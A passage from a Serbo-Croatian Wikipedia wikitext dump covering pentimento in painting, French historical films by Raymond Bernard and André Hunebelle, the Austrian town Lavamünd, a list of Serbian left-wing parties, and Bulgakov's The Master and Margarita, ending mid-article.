gitarist'']</ref><ref>[http://www.google.com/imgres?imgurl=http://www.artic.edu/aic/conservation/revealingpicasso/images/xray_200pxl.jpg&imgrefurl=http://www.artic.edu/aic/conservation/revealingpicasso/exam_xray.html&usg=__mzLq_wqI538Q2SMkL8GjIF4gWPE=&h=299&w=200&sz=23&hl=en&start=0&zoom=1&tbnid=bHttlAJiL4gtBM:&tbnh=137&tbnw=97&ei=iJN5TfHIHY-isAPlqOWKAw&prev=/images%3Fq%3DThe%2Bold%2Bguitarist%2Binfrared%26um%3D1%26hl%3Den%26client%3Dsafari%26rls%3Den%26biw%3D1290%26bih%3D784%26tbs%3Disch:10%2C131&um=1&itbs=1&iact=rc&dur=465&oei=iJN5TfHIHY-isAPlqOWKAw&page=1&ndsp=26&ved=1t:429,r:24,s:0&tx=79&ty=40&biw=1290&bih=784 Infracrveni snimak slike ''Stari gitarist'']</ref> Već je i golim okom iznad starčeva moguće uočiti konture ženskoga lica koje pripada prethodnoj slici. Tu se međutim ne radi o ''pentimentu'' nego o klasičnom presliku, čemu su pribjegavali mnogi slikari, uglavnom zbog skromnih financijskih mogućnosti u kojima su djelovali, obzirom da nova ''grundirana'', za slikanje pripremljena platna nikada, a osobito nekada nisu bila jeftina. Osobito znakovitim pokazali su se Caravaggiovi ''pentimenti''. Mahonova intuicija se pokazala posve točnom. Tako je, na primjer rendgenska snimka slike ''Kartaši'' koju je sir Denis Mahon 2006. kupio na aukciji kao djelo nepoznatog kopista prema Caravaggiu, pokazala da je lice jednog od dvojice prikazanih varalica bilo u cijelosti naslikano prije nego što je slikar preko njega preslikao šešir. Taj preslik - ''pentimento'', bio je konačan dokaz da je slika koju je Mahon kupio zapravo Caravaggiov original, jer slikar-kopist u svojem radu nikada ne radi takve kreativne izmjene.<ref>{{cite news | url=http://www.msnbc.msn.com/id/22205901/ | title=Anonymous painting attributed to Caravaggio | date=2007. | agency=[[Associated Press]] | accessdate=8. juni 2014.}}</ref> == Izvori == {{izvori}} == Literatura == * Damjanov, Jadranka; Radulić, Ksenija: Pentimento, Umjetnost (Likovne umjetnosti), 3. izdanje, Zagreb, 1967., str. 188. == Veze == * [[Gatanje (Caravaggio)]] * [[Kartaši (Caravaggio)]] [[Kategorija:Likovna umjetnost]] [[Kategorija:Slikarstvo| ]] [[Kategorija:Slikarske tehnike]] 7j8yndf26ndyifqkbxexiox2wiyxn1e 0 4551665 42602635 41826771 2026-05-28T00:49:09Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602635 wikitext text/x-wiki {{For|ostale filmove sa istim naslovom|Le Miracle des loups (razvrstavanje)}} {{Infokutija film | tip = nijemi | naslov = Le Miracle des loups | slika = | opis = scena iz filma | director = [[Raymond Bernard]] | producer = Société des Films Historiques | scenario = [[André-Paul Antoine]]<br />[[Raymond Bernard]] | based on = {{based on|''Le Miracle des loups''|[[Henry Dupuis-Mazuel]]}} | starring = [[Jean-Emile Vanni-Marcoux]]<br />[[Charles Dullin]] | music = [[Henri Rabaud]] | cinematography = | editing = | distributor = [[Gaumont]] | released = {{Filmdate|1924|11|28|Pariz|df=y}} | runtime = 132 min.<br>73 min. (verzija sa nadodanim zvukom) | country = {{flagcountry|FRA}} | awards = | language = nijemi sa francuskim titlovima | budget = }} '''''Le Miracle des loups''''' ({{jez-sh|Čudo vukova}}) je [[Francuska|francuski]] crno-bijeli [[Nijemi film|nijemi]] historijski film snimljen 1924. godine u režiji [[Raymond Bernard|Raymonda Bernarda]], poznat kao jedno od najskupljih i najambicioznijih ostvarenja francuske kinematografije u nijemoj eri. Predstavlja adaptaciju istoimenog romana Henryja Dupuis-Mazela i radnjom je smješten u Francusku u drugoj polovici 19. vijeka. Protagonist, koga glumi [[Charles Dullin]], je kralj [[Louis XI od Francuske|Louis XI]] koji nastoji ujediniti zemlju pri čemu mu glavni protivnik postaje burgundski vojvoda [[Charles Neustrašivi]]. ''Le Miracle des loups'' je nastao u produkciji Société des Films Historiques, poduzeća čija su specijalnost bile ekranizacije najvažnijih događaja francuske historije. Kao takav je imao snažan patriotski naboj, te su producenti uživali podršku vlasti, što je posebno došlo do izražaja u sceni [[opsada Beauvais|opsade Beauvaisa]] gdje su 4000 vojnika korišteni kao statisti. Premijera je, pak, predstavljala važan društveni događaj kome je prisustvovale tadašnje vodstvo zemlje. Film je doživio izuzetnu gledanost, ali i oduševljenje kod kritičara koji su ga proglasili francuskom verzijom ''[[Rađanje nacije|Rađanja nacije]]''. Godine 1930. je distribuiran u skraćenoj verziji kojoj je naknadno dodan zvuk. Godine 1961. je u italijansko-francuskoj koprodukciji snimljen [[Le Miracle des loups (film, 1961)|istoimeni remake]]. == Uloge == * [[Jean-Emile Vanni-Marcoux]]: ''[[Charles le Téméraire]]'' * [[Charles Dullin]]: ''Le roi [[Louis XI od Francuske|Louis XI]]'' * [[Yvonne Sergyl]]: ''Jeanne Fouquet, buduća [[Jeanne Hachette]]'' * [[Romuald Joubé]]: ''Le chevalier Robert Cottereau'' * [[Armand Bernard]]: ''Bische'' * [[Ernest Maupain]]: ''Fouquet'' * [[Fernand Mailly]]: ''[[Philip Dobri|Philippe Le Bon]]'' * [[Gaston Modot]]: ''Le comte du Lau, sire de Châteauneuf'' * [[Philippe Hériat]]: ''Tristan l'Ermite'' * Raymond Bernard: ''Le joueur d'échec'' * [[Albert Préjean]]: ''Un soldat'' * [[Robert Guilbert]]: ''Le duc de Bourbon'' * [[Pierre Denols]]: ''[[Jacques Coitier|Coitier]]'' * [[Émilien Richard]]: ''Commines'' * Halma: Olivier le Daim * [[Catherine Maud Richard|Maud Richard]]: (van špice) == Izvori == {{Reflist}} == Vanjske veze == * [http://filmsdefrance.com/FDF_Le_Miracle_des_loups_1924_rev.html Le Miracle des loups (1924)] {{Webarchive|url=https://web.archive.org/web/20121008060445/http://filmsdefrance.com/FDF_Le_Miracle_des_loups_1924_rev.html |date=2012-10-08 }} at the ''Films de France'' {{fr icon}} * [http://www.film-ist-kultur.de/filme/miracle_des_loups/miracle_des_loups.htm Das Wunder der Wölfe] {{Webarchive|url=https://web.archive.org/web/20120318035930/http://www.film-ist-kultur.de/filme/miracle_des_loups/miracle_des_loups.htm |date=2012-03-18 }} at Filmkultur {{de icon}} * [http://www.centrimage.com/page/miracledesloups.htm "« Le Miracle des Loups », histoire d’une restauration"] {{Webarchive|url=https://web.archive.org/web/20110719143800/http://www.centrimage.com/page/miracledesloups.htm |date=2011-07-19 }} at centrimage.com {{fr icon}} {{Raymond Bernard}} {{Normativna kontrola}} {{DEFAULTSORT:Miracle des loups, Le}} [[Kategorija:Francuski filmovi]] [[Kategorija:Historijski filmovi]] [[Kategorija:Pustolovni filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Filmovi Raymonda Bernarda]] g2osy5sj6loebdrd1h0bng5o9l7412i 0 4551791 42602634 41826760 2026-05-28T00:47:21Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602634 wikitext text/x-wiki {{Infokutija film | tip = c/b | name = Le Jugement de Dieu | slika = 1952 Le Jugement de Dieu.jpg | director = [[Raymond Bernard]] | producer = B.U.P. | writer = [[Bernard Zimmer]]<br />[[Pierre Montazel]] | starring = [[Andrée Debar]]<br />[[Jean-Claude Pascal]]<br />[[Pierre Renoir]] | music = [[Joseph Kosma]] | cinematography = | editing = | distributor = | released = {{Filmdate|1952|8|20|df=y}} | runtime = 98 min. | country = {{flagcountry|FRA}} | awards = | language = francuski | budget = | preceded_by = | followed_by = }} '''''Le Jugement de Dieu''''' ({{jez-sh|Božji sud}}) je [[francuska|francuski]] crno-bijeli historijski film snimljen 1952. godine u režiji [[Raymond Bernard|Raymonda Bernarda]]. Radnja se događa u [[Bavarska|Bavarskoj]] 1433. gdje se mladi vojvodin sin i prijestonasljednik [[Albert III, vojvoda od Bavarske|Albert]] zaljubi u lijepu seljanku po imenu [[Agnes Bernaeur]] (čiji lik tumači [[Andrée Debar]]). Radnja prikazuje kako ona stiče niz neprijatelja na dvoru, te kako se Albertovo odsutstvo iskoristi kako bi Agnes bila uhapšena, optužena za [[vještica|vještičarenje]] i pogubljena topljenjem u Dunavu. == Uloge == * [[Andrée Debar]] : [[Agnes Bernauer]] * [[Jean-Claude Pascal]] : [[Albert III, vojvoda od Bavarske]] * [[Pierre Renoir]] : [[Ernest, vojvoda od Bavarske]] * [[Gabrielle Dorziat]] : Josepha, tetka princa Alberta * [[Jean Barrère]] : Count Törring * [[Olivier Hussenot]] : Mr Bernauer, otac Agnès i Marie (brijač) * [[Louis Seigner]] : gradonačelnik * [[André Wasley]] : kapetan * [[Jacques Dynam]] : vojnik * [[Max Dalban]] : mesar * [[Jean Clarieux]] : vođa odmetnika * [[Marcel Raine]] : svećenik * [[Louis de Funès]] : gradonačelnikov izaslanik * [[Georges Douking]] : Enrique (redovnik) == Izvori == {{Reflist}} == Vanjske veze == * {{IMDb title|id=0137856}} * [http://filmsdefrance.com/FDF_Le_Jugement_de_Dieu_1952_rev.html Le Jugement de Dieu (1952)] {{Webarchive|url=https://web.archive.org/web/20120329122527/http://filmsdefrance.com/FDF_Le_Jugement_de_Dieu_1952_rev.html |date=2012-03-29 }} at the ''Films de France'' {{Raymond Bernard}} {{Normativna kontrola}} [[Kategorija:Francuski filmovi]] [[Kategorija:Historijski filmovi]] [[Kategorija:Dramski filmovi]] [[Kategorija:Filmovi Raymonda Bernarda]] ga5076drxxexdhwri5bb063g4izaaq5 0 4551804 42602636 41826772 2026-05-28T00:49:54Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602636 wikitext text/x-wiki {{Infokutija film | naslov = Le Miracle des loups | slika = Le Miracle des loups.jpg | caption = | director = [[André Hunebelle]] | studio = Da.Ma. Cinematografica, P.A.C. | based on = {{based on|''Le Miracle des loups''|[[Henry Dupuis-Mazuel]]}} | scxenario = [[Pierre Foucau]]<br />[[Jean Halain]] | starring = [[Jean Marais]]<br />[[Rosanna Schiaffino]]<br>[[Jean-Louis Barrault]]<br>[[Roger Hanin]] | music = [[Jean Marion]] | cinematography = | editing = | distributor = | released = {{Filmdate|1961|9|6|Francuska|df=y}} | runtime = 100 min. (italijanska verzija)<br>126 min. (francuska verzija) | country = {{flag|Francuska}}<br>{{flag|Italija}} | awards = | language = francuski | budget = }} '''''Le Miracle des loups''''' ({{jez-sh|Čudo vukova}}) je francusko-italijanski historijski film snimljen 1961. godine u režiji [[André Hunebelle|Andréa Hunebellea]]. Predstavlja ekranizaciju istoimenog romana [[Henri Dupuis-Mazuel]]a, odnosno remake [[Le Miracle des loups (film, 1924)|istoimenog]] nijemog filma iz 1924. godine. Radnja se događa u Francuskoj u 15. vijeku i opisuje kako se kralj [[Louis XI od Francuske|Louis XI]] (čiji lik tumači [[Jean-Louis Barrault]]) u nastojanju da ujedini zemlju sukobljava sa burgundskim vojvodom [[Charles Neustrašivi|Charlesom Neustrašivim]] (koga tumači [[Roger Hanin]]). == Uloge == * [[Jean Marais]] : Robert de Neuville * [[Rosanna Schiaffino]] : Jeanne de Beauvais * [[Jean-Louis Barrault]] : [[Louis XI od Francuske|Louis XI]] * [[Roger Hanin]] : [[Charles Neustrašivi|Charles le Téméraire]] * [[Guy Delorme]]: Le comte Jean de Sénac * [[Annie Anderson]]: Catherine du Tillais ou ''Marguerite'' * [[Louis Arbessier]]: Le comte d'Hesselin * [[Jean Marchat]]: L'archevêque * [[Raoul Billerey]] : Jérôme * [[Pierre Palfray]] : Mathieu * [[Georges Lycan]] : Sire de Gavray * [[Bernard Musson]] : Un évêque * [[Jean Lanier]] : Un évêque == Vanjske veze == * {{IMDb title|id=0055182}} * [http://filmsdefrance.com/FDF_Le_Miracle_des_loups_1961_rev.html Le Miracle des loups (1961)]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }} at the ''Films de France'' {{Normativna kontrola}} {{DEFAULTSORT:Miracle des loups, Le}} [[Kategorija:Francuski filmovi]] [[Kategorija:Italijanski filmovi]] [[Kategorija:Historijski filmovi]] [[Kategorija:Pustolovni filmovi]] ff3bu3tp6a414o59iczpi7dc6wkl2ff 0 4552721 42602630 42403112 2026-05-28T00:22:43Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602630 wikitext text/x-wiki {{Naselje | ime =Lavamünd | ime_genitiv = | izvorno_ime = | slika_panorama =Lavamuend.jpg | veličina_slike =280px | opis_slike=Centar grada | slika_zastava= | slika_zastava_veličina= | slika_pečat = | slika_pečat_veličina = | slika_grb = | slika_grb_veličina = | slika_amblem_prazno = | slika_amblem_prazno_veličina = | slika_amblem_prazno_opis = | slika_lokacijska_karta_država =Austrija | širina-stupnjevi =46 | širina-minute =39 | širina-oznaka = N | dužina-stupnjevi =14 | dužina-minute =57 | dužina-oznaka = E | lokacija_ime =[[Popis država|Država]] | lokacija_info ={{flag|Austrija}} | lokacija1_ime =[[Austrijske savezne zemlje|Savezna zemlja]] | lokacija1_info =[[Koruška (austrijska savezna zemlja)|Koruška]] | lokacija2_ime =[[Austrijski okruzi|Okrug (bezirk)]] | lokacija2_info =[[Wolfsberg (okrug)|Wolfsberg]] | lokacija3_ime = | lokacija3_info = | dijelovi = | vrsta_dijelova = | titula_vođe=[[gradonačelnik]] | ime_vođe =Josef Ruthardt | površina_bilješke = | površina_ukupna = | površina_kopna = | površina_vode = | postotak_vode = | površina_uža =93.698 [[km²]]<ref name=mam/> | površina_šira = | površina_prazno1_ime = | površina_prazno1 = | površina_prazno2_ime = | površina_prazno2 = | visina = 348 <ref name=aaa/> | visina_izvor = | visina_max = | visina_min = | stanovništvo_godina =[[2014]]. | stanovništvo_bilješke = | stanovništvo = | stanovništvo_gustoća= | stanovništvo_uže =3,012<ref name=mam/> | stanovništvo_uže_gustoća =32.1 stan./[[km²]]<ref name=mam/> | stanovništvo_šire = | stanovništvo_šire_gustoća = | vremenska_zona=[[UTC+1]] | utc_pomak =+2 | vremenska_zona_DST = | utc_pomak_DST= | poštanski_broj =9473 | pozivni_broj=0 43 56 | gradovi_prijatelji = | web_stranica =[http://www.lavamuend.at/ www.grossklein] | bilješke = }} '''Lavamünd''' čita se ''Levamind'' ([[slovenski jezik|slovenski]]: ''Labot'') je [[trgovište]] na [[jug]]u [[Austrija|Austrije]] od 3,012 stanovnika<ref name=mam>{{cite web | url =http://www.citypopulation.de/php/austria-karnten.php | title =Austria: Kärnten | accessdate = 24. 02. 2016. | language=engleski | publisher=City population}}</ref>, koje [[državna uprava|administrativno]] podpada pod [[Wolfsberg (okrug)|Okrug Wolfsberg]]. == Geografija == Lavamünd leži na [[jug]]u [[Koruška (austrijska savezna zemlja)|Koruške]] nedaleko od [[Slovenija|slovenske]] [[granica|granice]], na [[ušće|ušću]] [[Rijeka (vodotok)|rijeke]] [[Lavant (rijeka)|Lavant]] u [[Drava|Dravu]].<ref name=aaa/> U Lavamündu se nalazi [[carina|carinski]] ured, a u prigradskom naselju ''Leifling'' je sve donedavno bio [[granica|granični]] prijelaz.<ref name=aaa/> ==Historija== Lavamünd je prvi put dokumentiran [[1091]].<ref name=aaa/> ==Znamenitosti== Od znamenitosti Lavamünd ima [[gotika|gotičku]] [[parohija|parohijsku]] [[crkva|crkvu]] iz [[15. vijek]]a, i [[barok]]nu crkvu Kalvariju iz [[1690]]. dograđenu oko [[1725]].<ref name=aaa>{{cite web | url =http://austria-forum.org/af/AEIOU/Lavam%C3%BCnd/Lavam%C3%BCnd_english | title =''Lavamünd'' | accessdate =24. 02. 2016. | language=engleski | publisher=Austria-Forum}}</ref> ==Privreda== Najviše zaposlenih radi u [[energija|enerrgetskom]] sektoru, pored grada su podignute dvije [[hidroelektrana|hidroelektrane]]; ''Schwabeck'' - [[1942]]., snage 72 [[vat|MW]] i ''Lavamünd'' - [[1944]]., snage 28 [[vat|MW]], pored tog ima i par velikih [[trafo-stanica]]. Dosta ljudi radi na [[carina|carini]], održavanju cesta i u par većih [[pilana]].<ref name=aaa/> == Reference == {{reflist}} == Vanjske veze == {{commonscat|Lavamünd}} * [http://www.lavamuend.at/ ''Službene stranice Lavamünda''] {{Webarchive|url=https://web.archive.org/web/20210211022109/http://www.lavamuend.at/ |date=2021-02-11 }} {{de icon}} [[Kategorija:Gradovi i naselja Koruške]] [[Kategorija:Gradovi u Austriji]] hk48imx39iuldj46wfwvudt23d53ewr 0 4561139 42602666 42590451 2026-05-28T04:38:47Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602666 wikitext text/x-wiki Levica podrazumeva političke organizacije: [[Anarhizam|anarhističke]], [[Komunizam|komunističke]], [[Demokratski socijalizam|demokratsko socijalističke]], [[Zelena politika|zeleno-leve]], [[Socijalni liberalizam|socijalno-liberalne]] i [[Socijaldemokratija|socijaldemokratske]] ideološke orijentacije. [[Datoteka:Red flag II.svg|desno|mini|199px|[[Crvena zastava]] simbol [[levica|levičara]]]] [[Datoteka:La Liberté guidant le peuple - Eugène Delacroix - Musée du Louvre Peintures RF 129 - après restauration 2024.jpg|desno|mini|199px|''Sloboda predvodi narod'', slika [[Ežen Delakroa|Ežena Delakroaa]], nadahnuta [[Julska revolucija|Julskom revolucijom]] u [[Francuska|Francuskoj]]]] == Političke stranke i druge organizacije == *[[Anarhosindikalistička inicijativa]]<ref>[https://inicijativa.org/tiki/tiki-view_articles.php Izvor: www.https://inicijativa.org/tiki/tiki-view_articles.php]{{Dead link|date=March 2025 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> *[[Partija rada (Srbija)|Partija rada]]<ref>[https://partijarada.org/ Izvor: www.partijarada.org]</ref> *[[Crvena akcija / Crvena inicijativa]]<ref>[https://crvena.org/ Izvor: www.crvena.org]</ref> *Marks21<ref>[https://marks21.info/ Izvor: www.marks21.info]</ref> *Društveni pokret Plamen<ref>{{Cite web |title=Društveni pokret Plamen |url=https://www.plamenborba.org/ |access-date=2026-03-01 |website=Društveni pokret Plamen |language=en-US}}</ref> *[[Novi komunistički pokret Jugoslavije|Nova komunistička partija Jugoslavije]]<ref>[https://nkpj.org.rs/ Izvor: www.nkpj.org.rs]</ref> *Кomunisti Srbije<ref>[http://www.komunistisrbije.rs/ Izvor: www.komunistisrbije.rs]</ref> *[[Narodni pokret „Jugosloveni”]]<ref>[https://www.facebook.com/Jugosloveni.YU/ Izvor: www.facebook.com/Jugosloveni.YU]</ref> *Savez komunista Srbije<ref>[https://www.facebook.com/people/Savez-Кomunista-Srbije/100066223406506/ Izvor: www.facebook.com/people/Savez-Кomunista-Srbije/100066223406506/]</ref> *[[Partija radikalne levice]]<ref>[https://prl.org.rs/ Izvor: www.prl.org.rs]</ref> *[[Romska partija]]<ref>[https://www.facebook.com/Romska-Partija-1280524678774451/ Izvor: www.facebook.com/Romska-Partija-1280524678774451]</ref> *[[Levica (Srbija)|Udruženje građana „Levica”]]<ref>{{Cite web |url=https://pokretlevica.rs/ |title=Izvor: www.pokretlevica.rs |access-date=2023-05-13 |archive-date=2023-09-01 |archive-url=https://web.archive.org/web/20230901020348/https://pokretlevica.rs/ |url-status=dead }}</ref> *[[Zajedno (Srbija)|Zajedno]]<ref>[https://zajedno-moramo.rs/ Izvor: www.zajedno-moramo.rs]</ref> *[[Demokratska stranka (Srbija)|Demokratska stranka]]<ref>[https://ds.org.rs/ Izvor: www.ds.org.rs]</ref> *[[Socijaldemokratska stranka (Srbija)|Socijaldemokratska stranka]]<ref>{{Cite web |title=Izvor: www.sds-org.rs |url=https://www.sds-org.rs/ |access-date=2023-05-13 |archive-date=2020-07-23 |archive-url=https://web.archive.org/web/20200723135635/https://www.sds-org.rs/ |dead-url=yes }}</ref> *[[Ne da(vi)mo Beograd|Ne davimo Beograd]]<ref>[https://nedavimobeograd.rs/ Izvor: www.nedavimobeograd.rs]</ref> *[[Pokret ujedinjenih fantoma]]<ref>[https://puf.rs/ Izvor: www.puf.rs]</ref> *[[Liga socijaldemokrata Vojvodine]]<ref>[http://www.lsv.org.rs/ Izvor: www.lsv.org.rs]</ref> *[[Zajedno za Vojvodinu]]<ref>[https://zajednozavojvodinu.wordpress.com/ Izvor: www.zajednozavojvodinu.wordpress.com]</ref> *[[Stranka Istina]]<ref>[http://www.istina.org.rs/ Извор: www.istina.org.rs]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> *[[Srpska levica]]<ref>[http://srpskalevica.org/ Izvor: www.srpskalevica.org]{{Dead link|date=April 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> *[[Socijaldemokratska partija Srbije]]<ref>[https://sdpsrbije.org.rs/ Извор: www.sdpsrbije.org.rs]</ref> *[[Partija ujedinjenih penzionera Srbije|Partija ujedinjenih penzionera, poljoprivrednika i proletera Srbije - Solidarnost i pravda]]<ref>[http://pups.org.rs/ Извор: www.pups.org.rs]</ref> *[[Pokret socijalista]]<ref>{{Cite web |title=Извор: |url=https://pokretsocijalista.rs/ |access-date=2023-05-13 |archive-date=2020-05-30 |archive-url=https://web.archive.org/web/20200530190412/https://www.pokretsocijalista.rs/ }}</ref> *[[Socijalistička partija Srbije]]<ref>[https://www.sps.org.rs/ Извор: www.sps.org.rs]</ref> == Reference == {{reflist}} == Povezano == * [[Spisak političkih stranaka u Srbiji]] [[Kategorija:Političke partije u Srbiji]] awhbrdqagumjyl0gmpmev01jnxknd9c 0 4569236 42602716 42494083 2026-05-28T11:17:10Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602716 wikitext text/x-wiki {{Infokutija knjiga | naslov = Majstor i Margarita | naslov_original = Мастер и Маргарита | autor = [[Mihail Bulgakov|Mihail Afanasjevič Bulgakov]] | ilustrator = | dizajn korica = | država = {{URS}} | jezik = [[ruski]] | serijal = | žanr = | žanr = [[satira|satirično]]-[[fantastika|fantastični]] [[roman]] | izdavač = | datum_izd = [[1966.]] | vrijeme_i_mjesto_nastanka = [[1929.]]–[[1940.]] | vrsta_korica = | broj_stranica = | pripovjedač = | gledište = | vrijeme_radnje = | mjesto_radnje = | glavni_lik = | teme = | isbn = | prethodna = | sljedeća = }} '''Majstor i Margarita''' (rus. '''"Ма́стер и Маргари́та"''') — [[Roman]] [[Mihail Bulgakov|Mihaila Afanasjeviča Bulgakova]]. Žanr romana je teško jednoznačno odrediti, budući da je djelo mnogoslojno i sadrži u sebi mnoštvo elemenata žanrova kao što su: [[satira]], [[farsa]], [[fantastika]], [[mistika]], melodrama, filozofska [[alegorija]]. Prema sižeu romana napravljeno je mnoštvo kazališnih predstava i nekoliko filmova (u [[Jugsolavija|Jugsolaviji]], [[Poljska|Poljskoj]], [[Švicarska|Švicarskoj]], [[Rusija|Rusiji]]). Roman (proučavatelji Bulgakovljevih djela "bulgakovedy" [rus. "булгаковеды"] nazivaju ga još "menipejom" i "slobodnom menipejom") "Majstor i Margarita" nije objavljen za autorova života. Prvi put je izdan tek [[1966.]] godine, 26 godina nakon smrti [[Mihail Bulgakov|Bulgakova]], u skraćenoj časopisnoj verziji. Roman je stekao znatnu popularnost među sovjetskom inteligencijom i sve do službenog objavljivanja širio se u ručno pretiskanim primjercima. Supruga pisca, Jelena Sergejevna Bulgakova, tokom svih tih godina uspjela je sačuvati rukopis romana. Prema mnogobrojnim izvacima iz knjiga koji su se sačuvali jasno je da su kao izvor podataka za [[Demonologija|demonologiju]] za Bulgakova poslužili članci na tu temu iz Enciklopedijskog rječnika Brokgauza i Jefrona, knjiga Mihaila Orlova "Istorija snošenij čeloveka s djavolom" iz [[1904.]] (sh. "Povijest odnosa čovjeka s vragom") i knjiga Aleksandra Amfiteatrova "Djavol v byte, legende i v literature srednih vekov" (sh. "Vrag u svakodnevnom životu, legendi i književnosti srednjeg vijeka").<ref>{{Cite web |title=Upute za demonologiju u romanu Bulgakova "Majstor i Margarita" |url=http://alumni.iubip.ru/kolganov/demonologiy/demonologiy.htm |access-date=2016-08-19 |archivedate=2011-11-28 |archiveurl=https://web.archive.org/web/20111128223046/http://alumni.iubip.ru/kolganov/demonologiy/demonologiy.htm |deadurl=yes }}</ref> == Siže == [[Sotona]], koji se u djelu predstavlja kao Woland, stranstvuje svijetom sa samo njemu poznatim ciljevima, s vremena na vrijeme zaustavljajući se u raznim gradovima i naseljima. Za vrijeme proljetnog [[uštap]]a putovanje ga dovodi u [[Moskva|Moskvu]] [[1930-ih|30-ih]] godina prošlog stoljeća – na mjesto i u vrijeme kad nitko ne vjeruje u Sotonu, ni u [[Bog]]a, negiraju postojanje [[Isus|Isusa Krista]] u povijesti. U [[Moskva|Moskvi]], istina, živi jedan čovjek, Majstor, koji je napisao roman o posljednjim danima Ješue Ha-Nocrija i rimskom prokuratoru [[Poncije Pilat|Ponciju Pilatu]] koji ga je osudio na smrt; no i taj čovjek sada boravi u ludnici, kuda ga je doveo bojažljiv odnos prema vlastitom djelu, podvrgnutom oštroj kritici cenzora i suvremenika-književnika. Roman je spalio. Za vrijeme putovanja Wolanda prati njegova svita: Korovjev, mačak Behemot, Azazello, Hella. Sve ljude, koji su došli u kontakt s Wolandom i njegovim suputnicima, progone kazne za njima svojstvene grijehe i slabosti: [[Korupcija|podmitljivost]], [[alkoholizam]], [[egoizam]], lakomost, ravnodušnost, [[laž]], grubost, imitaciju rada… često su te kazne, iako i natprirodne, logični nastavak samih prijestupa (npr. Nikanor Ivanovič Bosoj, koji je primio mito u [[Rublja|rubljima]] od Korovjeva, zadržan je zbog špekulacije valutom, zato što su se ti [[Rublja|rublji]] na magičan način pretvorili u dolare). Woland se zajedno sa svom svojom svitom seli u "zlosretni stan" u Sadovoj ulici – u stanu iz kojeg tijekom nekoliko godina nestaju ljudi (nestaju, istina, bez pomoći nadnaravnih sila, jer je opis tih tajanstvenih nestanaka aluzija Bulgakova na represiju tridesetih godina.). Margarita, supruga "vrlo velikog specijalista", ljubavnica Majstora, koja je izgubila njegov trag nakon što je završio u ludnici, mašta samo o jednom – naći ga i vratiti. Nadu na ostvarenje te mašte Margariti daje Azazello – no ona mora Wolandu učiniti uslugu. Margarita tek kasnije pristaje na to, te se upoznaje s Wolandom i svom njegovom svitom. Woland je moli da postane kraljica bala koji on priređuje tu noć. U noći s petka na subotu započinje bal kod [[Sotona|Sotone]]. Kao gosti na bal ne dolaze obični griješnici – na bal dolaze samo istinski, idejni zlikovci. Djelatnici [[NKVD|Narodnog komesarijata unutarnjih poslova SSSR]] (ime tog komesarijata se u romanu ne spominje) nastoje shvatiti nestanak "verhuške", kreme kazališta "Varijete", i, što je najvažnije, – podrijetlo valute u koju se na mističan način pretvorila sva gotovina u rubljima sakupljena u kasi kazališta. Tragovi brzo dovode istražitelje do "zlosretnog stana", više puta ga obilaze, no stalno ga zatiču pustog i zapečaćenog. Druga sadržajna linija romana, koja se razvija paralelno s prvom — roman je koji je napisao sam Majstor. On govori o Ponciju Pilatu koji se nije odlučio da ustane protiv Sinedriona i spasi Ješuu Ha-Nocrija, osuđenog na smrt. Na kraju romana se obje linije presijecaju: Majstor oslobađa junaka svojeg romana, i [[Poncije Pilat]], koji se nakon smrti toliko vremena mučio na kamenom naslonjaču sa svojim odanim psom Bangom i koji je želio svo to vrijeme završiti prekinuti razgovor s Ješuom, napokon pronalazi spokoj i odlazi na beskrajno putovanje po mjesečevom putu zajedno s Ješuom. Majstor i Margarita pronalaze u zagrobnom životu "mir" koji im daje Woland (koji se razlikuje od "svjetla" koji se spominje u romanu — druge varijante zagrobnog života). == Mjesto i vrijeme osnovnih događaja romana == Svi događaji u romanu (u osnovnom pripovijedanju) odvijaju se tridesetih godina u [[Moskva|Moskvi]], u svibnju, od srijede navečer do noći u nedjelju, pri čemu je na te dane bio uštap. Godinu u kojoj se odvija radnja je teško ustanoviti, budući da u tekstu postoje proturječna ukazivanja na vrijeme – moguće da su namjerne, a moguće je da su posljedica nedovršene autorske korekture. U ranim redakcijama (1929.–1931.g.) radnja romana je premještena u budućnost, spominju se [[1933.]], [[1934.]] i čak [[1943.]] i [[1945.]] godina, događaji se odvijaju u različita godišnja doba – od početka svibnja do početka srpnja. Od samog početka autor je radnju smjestio u ljetno doba. No, da bi se držao osobite osnove pripovijedanja, vjerojatnije je da je vrijeme bilo premješteno s ljeta na proljeće (v. gl. 1 romana: "Jednom u proljeće…" I također: "Da, valja istaći prvu čudnovatost te strašne svibanjske večeri."). U epilogu romana, uštap, za vrijeme kojeg se odvija radnja, nazvan je prazničnim, pri čemu se nameće verzija o tome da se pod praznikom ima u vidu [[Uskrs]], najvjerojatnije – pravoslavni Uskrs. U tom slučaju radnja mora započeti u srijedu [[Veliki tjedan|Velikog tjedna]], [[1. svibnja]] [[1929.]] godine. Pristalice te verzije navode sljedeće argumente: * [[1. svibnja]] je [[Praznik rada]], koji se osobito slavio u to vrijeme (pri tome se [[1929.]] godine poklopio s [[Veliki tjedan|Velikim tjednom]], tj. s danima strogog posta). Primjećuje se neka gorka ironija u tome da [[Sotona]] dolazi u [[Moskva|Moskvu]] upravo na taj dan. Osim toga, noć uoči [[1. svibnja]] je [[Valpurgina noć]], vrijeme godišnjeg vrzinog kola vještica na njemačkoj planini Brocken, otkuda je Sotona neposredno i došao. * majstor u romanu je "čovjek od približno trideset i osam godina". Bulgakov je napunio trideset i osam [[15. svibnja]] [[1929.]] godine. Slijedi, međutim, navesti da [[1. svibnja]] [[1929.]] godine mjesec nije bio u opadanju. Uskrsni uštap općenito nikada nije u svibnju. Osim toga, u tekstu je izravno navedeno kasnije vrijeme: * u romanu se spominje [[trolejbus]], pušten u promet na Arbatu [[1934.]], a Sadovim prstenom – [[1936.]] * kongres arhitekata, koji se spominje u romanu, održao se u lipnju 